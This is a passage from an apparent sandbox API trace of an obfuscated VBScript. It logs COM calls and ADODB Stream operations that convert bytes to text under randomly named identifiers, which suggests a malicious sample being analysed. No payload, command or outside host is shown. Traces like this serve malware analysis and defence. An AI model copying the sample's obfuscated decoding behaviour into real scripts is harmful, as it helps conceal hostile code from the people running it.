Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154190 | out: ppvObject=0x154190*=0x83fd368) returned 0x0 [0087.602] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15418c | out: ppvObject=0x15418c*=0x83fd378) returned 0x0 [0087.603] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x1541dc | out: ppvObject=0x1541dc*=0x0) returned 0x80004002 [0087.603] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.603] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.603] DOMDocument:IUnknown:Release (This=0x1112ba8) returned 0x2 [0087.603] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1541bc | out: ppvObject=0x1541bc*=0x1112ba8) returned 0x0 [0087.603] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x1541b0 | out: ppvObject=0x1541b0*=0x0) returned 0x80004002 [0087.603] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154188 | out: ppvObject=0x154188*=0x83fd368) returned 0x0 [0087.603] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154184 | out: ppvObject=0x154184*=0x83fd378) returned 0x0 [0087.603] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x1541b0 | out: ppvObject=0x1541b0*=0x0) returned 0x80004002 [0087.603] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.603] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.603] DOMDocument:IUnknown:Release (This=0x1112ba8) returned 0x2 [0087.603] Stream:IUnknown:Release (This=0x962b350) returned 0x1 [0087.603] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154210 | out: ppvObject=0x154210*=0x962b320) returned 0x0 [0087.603] Stream:IUnknown:AddRef (This=0x962b320) returned 0x3 [0087.603] Stream:IUnknown:Release (This=0x962b320) returned 0x2 [0087.603] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0087.604] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.604] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x0 [0087.604] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0087.605] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.605] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.605] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.605] GetCurrentThreadId () returned 0xd44 [0087.605] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.605] ??2@YAPAXI@Z () returned 0x86bff10 [0087.605] malloc (_Size=0x804) returned 0x83fc220 [0087.606] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.606] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.606] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.606] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Type", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=4) returned 0x0 [0087.606] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0087.606] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.606] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0087.606] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0087.607] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.607] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="svksovosrgh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.607] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="svksovosrgh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.607] GetCurrentThreadId () returned 0xd44 [0087.607] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.607] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.607] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.607] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.607] GetCurrentThreadId () returned 0xd44 [0087.607] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.608] ??2@YAPAXI@Z () returned 0x86bff10 [0087.608] malloc (_Size=0x804) returned 0x83fc220 [0087.608] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.608] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.608] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.608] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Open", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=10) returned 0x0 [0087.608] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0087.608] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.608] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=10, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0087.608] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0087.609] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.609] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ivrejk", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.609] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ivrejk", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.609] GetCurrentThreadId () returned 0xd44 [0087.609] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.609] malloc (_Size=0x404) returned 0x86ea2e0 [0087.610] ??2@YAPAXI@Z () returned 0x86bff10 [0087.610] malloc (_Size=0x804) returned 0x83fc220 [0087.610] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.611] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.611] _wcsicmp (_String1="byteArray", _String2="BytesToStr") returned -18 [0087.611] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.611] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="write", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=13) returned 0x0 [0087.611] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0087.611] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.611] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=13, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x6c, wReserved2=0x20, wReserved3=0x63, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07918*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6ca16e8*, rgsabound=((cElements=0x41, lLbound=0))), varVal2=0x0), varVal2=0x65)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x6c, wReserved2=0x20, wReserved3=0x63, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07918*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6ca16e8*, rgsabound=((cElements=0x41, lLbound=0))), varVal2=0x0), varVal2=0x65)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0087.611] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0087.612] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.612] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.612] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.612] GetCurrentThreadId () returned 0xd44 [0087.612] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.612] ??2@YAPAXI@Z () returned 0x86bff10 [0087.612] malloc (_Size=0x804) returned 0x83fc220 [0087.612] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.612] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.612] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.613] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Position", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=3) returned 0x0 [0087.613] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0087.613] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0087.613] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=3, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8790000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x8790000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0087.613] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0087.613] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0087.613] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="Type", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=4) returned 0x0 [0087.613] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0087.613] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0087.614] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1545b8*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x8791454)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x83d66d8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x8791454)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962b320) returned 0x0 [0087.614] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0087.614] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545e4 | out: ppvObject=0x1545e4*=0x0) returned 0x80004002 [0087.614] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1545e8*="CharSet", cNames=0x1, lcid=0x409, rgDispId=0x154600 | out: rgDispId=0x154600*=8) returned 0x0 [0087.614] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0087.614] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1545ec | out: ppvObject=0x1545ec*=0x0) returned 0x80004002 [0087.615] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=8, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1545b8*(rgvarg=([0]=0x1544f4*(varType=0x8, wReserved1=0x15, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x1198dc0)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594, puArgErr=0x1545d8 | out: pDispParams=0x1545b8*(rgvarg=([0]=0x1544f4*(varType=0x8, wReserved1=0x15, wReserved2=0x6748, wReserved3=0x83d, varVal1="utf-8", varVal2=0x1198dc0)), rgdispidNamedArgs=([0]=0x1545b4*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x154594*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1545d8*=0x962b320) returned 0x0 [0087.615] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0087.615] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.615] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.615] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.615] GetCurrentThreadId () returned 0xd44 [0087.615] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.616] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.616] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.616] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.616] GetCurrentThreadId () returned 0xd44 [0087.616] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.617] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0087.617] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0087.617] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0087.617] GetCurrentThreadId () returned 0xd44 [0087.617] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.617] ??2@YAPAXI@Z () returned 0x86bff10 [0087.617] malloc (_Size=0x804) returned 0x83fc220 [0087.617] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0087.617] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0087.617] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0087.618] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="ReadText", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=19) returned 0x0 [0087.618] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0087.618] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, 